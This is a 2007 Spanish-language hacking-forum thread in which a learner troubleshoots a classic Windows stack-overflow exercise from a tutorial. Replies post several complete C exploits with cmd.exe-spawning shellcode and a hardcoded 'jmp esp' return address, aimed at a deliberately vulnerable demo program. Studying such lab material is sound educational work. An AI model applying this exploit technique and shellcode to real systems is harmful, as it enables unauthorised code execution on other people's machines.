elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:21  


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  problema con shellcode
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: problema con shellcode  (Leído 3,518 veces)
zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
problema con shellcode
« en: 5 Septiembre 2007, 03:29 »

Hola, estoy siguiendo el tutorial de Stack overflow de Rojodos, la shellcode la pongo igual que la que sale en su tuto pero cambiando los offsets por los de mi pc. Cuando ejecuto mi exploit no me sale ninguna shell, pero tampoco me sale que se ha detectado un problema (es lo que me salia cuando la escribia mal). Pongo la shellcode para ver si me podeis ayudar:

Código:
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"   
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"
    "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

     char offset[]="\xED\x1E\x95\x7C";



Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: problema con shellcode
« Respuesta #1 en: 5 Septiembre 2007, 03:53 »

Código
execv ("vuln1.exe",argv);

Asegurarte que el ejecutable vulnerable se llama vuln1.exe y se encuentra en el mismo directorio que el exploit.
En línea
zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: problema con shellcode
« Respuesta #2 en: 5 Septiembre 2007, 03:58 »

Los argumentos se los envia bien, el problema debe estar en la shellcode ya que esa no hace nada y he provado otras que no me han funcionado pero si que me salia el cartel de "vuln.exe ha detectado unj problema y debe cerrarse".


Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
c3r0x

Desconectado Desconectado

Mensajes: 42


Ver Perfil
Re: problema con shellcode
« Respuesta #3 en: 5 Septiembre 2007, 04:09 »

Código
execv ("vuln1.exe",argv);

Asegurarte que el ejecutable vulnerable se llama vuln1.exe y se encuentra en el mismo directorio que el exploit.

dice q la shellcode :)

siempre tubo unos cuantos probles ese poc..dices q posiblemente es la scode, espero q allas testeado la shellcode asi apartes q es la shellcode, posiblemente sea el ofsett tal ves lo sacas mal, acuerdate q deebs sacar un jmp o un call ya sea del kernel32 o de otra que lo cargue el programa vuln , cositas asi simples..

EDIT:tambien espero q allas utilizado un debugger asi sacar la cantidad de byte a sobrreescribir.me explico dejar los 4bytes  del eip para pegar ahi el offset sacado,


salu2
« Última modificación: 5 Septiembre 2007, 04:13 por c3r0x » En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: problema con shellcode
« Respuesta #4 en: 5 Septiembre 2007, 04:53 »

Deduzco que el offset es correcto por la similitud de nuestros sistemas operativos...

Citar

C:\> findjmp ntdll.dll esp

0x7C951EED      jmp esp


La shellcode también es correcta así que debe de haber algún fallo en los códigos si no te equivocaste tú. Escribe el código fuente del exploit y del programa vulnerable.

¿Qué compilador estás usando?
En línea
c3r0x

Desconectado Desconectado

Mensajes: 42


Ver Perfil
Re: problema con shellcode
« Respuesta #5 en: 5 Septiembre 2007, 04:57 »

Deduzco que el offset es correcto por la similitud de nuestros sistemas operativos...

Citar

C:\> findjmp ntdll.dll esp

0x7C951EED      jmp esp


La shellcode también es correcta así que debe de haber algún fallo en los códigos si no te equivocaste tú. Escribe el código fuente del exploit y del programa vulnerable.

¿Qué compilador estás usando?

yo insisto q tu estas calculando mal los bytes, por eso no funciona :)

salu2
En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: problema con shellcode
« Respuesta #6 en: 5 Septiembre 2007, 05:03 »

No se por qué me citas a mi si yo no soy el que pregunta...

La longitud de caracteres para llegar al EIP es de 76 y es la que viene por defecto en los códigos de ejemplos, a continuación va el offset que realizará el salto y seguidamente la shellcode, si falla es por que algo habrás hecho mal, revisa bien el código.
En línea
c3r0x

Desconectado Desconectado

Mensajes: 42


Ver Perfil
Re: problema con shellcode
« Respuesta #7 en: 5 Septiembre 2007, 05:10 »

No se por qué me citas a mi si yo no soy el que pregunta...

La longitud de caracteres para llegar al EIP es de 76 y es la que viene por defecto en los códigos de ejemplos, a continuación va el offset que realizará el salto y seguidamente la shellcode, si falla es por que algo habrás hecho mal, revisa bien el código.

no se te entiende..mira baja un debugger el olly y vas probando (leete un manual) ..lo digo por q el defecto a mi no me sirvio me toco meterle mas bytes hasta llegar al eip, si eso falla tienes mal algo en el codigo,

sali2
En línea
Ferсhu


Desconectado Desconectado

Mensajes: 1.213

Menos palabras y Mas codigos.


Ver Perfil WWW
Re: problema con shellcode
« Respuesta #8 en: 5 Septiembre 2007, 07:55 »

uhhhhh me sacaste jaja yeikos no es el q esta PREGUNTANDO, es zhynar_X. Ademas si sabes leer Yeikos es mod de este foro.

Citar
No se por qué me citas a mi si yo no soy el que pregunta...

Q parte de estas palabras no entendes jaja.

zhynar_X probaste eso?? q se llame vuln1.exe como dice el ejemplo y q este en la misma carpeta.


Saludos!!!
« Última modificación: 5 Septiembre 2007, 07:58 por <~>FeRcHu<~> » En línea

zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: problema con shellcode
« Respuesta #9 en: 5 Septiembre 2007, 12:45 »

Hola, si que sobrescribe el IEP ya que hago la prueva que dice Rojodos en su tutorial y me salen el error en 54545454 osea en TTTT. He hecho la prueva de pasarle con el olly de argumentos el evilbuffer y la shellcode, y me dice que tiene un error en 00230000.

El codigo de mi exploit es:

Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main () {

    char cadena[1024]="vuln.exe ";

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN"
    "OOOOPPPPQQQQRRRR";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"   
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"
    "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

     char offset[]="\xED\x1E\x95\x7C";
   
   
           

    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    strcat(cadena,evilbuffer);

    system(cadena);

    }


Uso el compilador Dev C++ y el codigo vulnerable es el mismo que el del tutorial de Rojodos.


Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: problema con shellcode
« Respuesta #10 en: 5 Septiembre 2007, 13:34 »

Limítate a escribir el código tal cual si no tienes suficiente soltura con C, una vez comprobado que el exploit funciona correctamente, haz las modificaciones que veas necesarias.

Código
 #include <stdio.h> // Entrada/Salida
#include <stdlib.h> // execv()
 
int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv
 
   char
evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN"
   "OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret
 
   char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
 
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"
   "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
   //Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada
   //en \x44\x80\xBF\x77 0x77BF9044
 
   char offset[]="\xED\x1E\x95\x7C";
 
   strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
   strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
   printf ("Cadena + offset + shellcode en formato printable\n\n");
   printf ("%s", evilbuffer);
 
 
   argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
   argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
   argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
 
   execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento
   }
En línea
zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: problema con shellcode
« Respuesta #11 en: 5 Septiembre 2007, 13:47 »

El exev(); en el DEv no funciona, el que he hecho yo deberia funcionar yaque hace exactamente lo mismo. ¿o no?


Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
c3r0x

Desconectado Desconectado

Mensajes: 42


Ver Perfil
Re: problema con shellcode
« Respuesta #12 en: 5 Septiembre 2007, 15:39 »

uhhhhh me sacaste jaja yeikos no es el q esta PREGUNTANDO, es zhynar_X. Ademas si sabes leer Yeikos es mod de este foro.

Citar
No se por qué me citas a mi si yo no soy el que pregunta...

Q parte de estas palabras no entendes jaja.

zhynar_X probaste eso?? q se llame vuln1.exe como dice el ejemplo y q este en la misma carpeta.


Saludos!!!

el puede hablar solo eh ;)

entonces era el exploit, siempre q te metas con estos temas procura saber C un poco de asm y veras q todo te va como ilo

usa system o shellexecute , createprocces etc..

salu2
« Última modificación: 5 Septiembre 2007, 15:49 por c3r0x » En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: problema con shellcode
« Respuesta #13 en: 5 Septiembre 2007, 17:38 »

El problema es que la función system no es muy fiable a la hora de pasarle parámetros, pues si estos parámetros contienen por ejemplo comillas, se cortara la cadena entera y no obtendrás buenos resultados.

Compila el siguiente código, preferiblemente con Dev-C++ 4.9.9.2, y cuéntanos como te va...

Código
#include <stdio.h>
 
int main(char **argv)
{
 
char evilbuff[1024] = "";
 
char offset[] = "\xED\x1E\x95\x7C";
 
char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9"
"\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"
"\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
 
memset(evilbuff, 'A', 76);
strncat(evilbuff, offset, sizeof(offset));
strncat(evilbuff, shellcode, sizeof(shellcode));
 
// printf("%s",evilbuff);
 
argv[1] = evilbuff; argv[2] = NULL;
 
execv("vuln1.exe", argv);
}
En línea
zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: problema con shellcode
« Respuesta #14 en: 5 Septiembre 2007, 17:50 »

La funcion execv(); no funciona, y he usado el dev c++ 4.9.9.2 como has dicho. Hay alguna otra funcion que hagalo mismo que execv(); aparte de system();???


Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
.:. Shellcode 2 ASM .:.
ASM
Garfield07 13 1,916 Último mensaje 3 Enero 2011, 20:31
por Garfield07
problema con shellcode demasiado larga
Bugs y Exploits
black_flowers 3 912 Último mensaje 22 Abril 2011, 19:51
por black_flowers
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines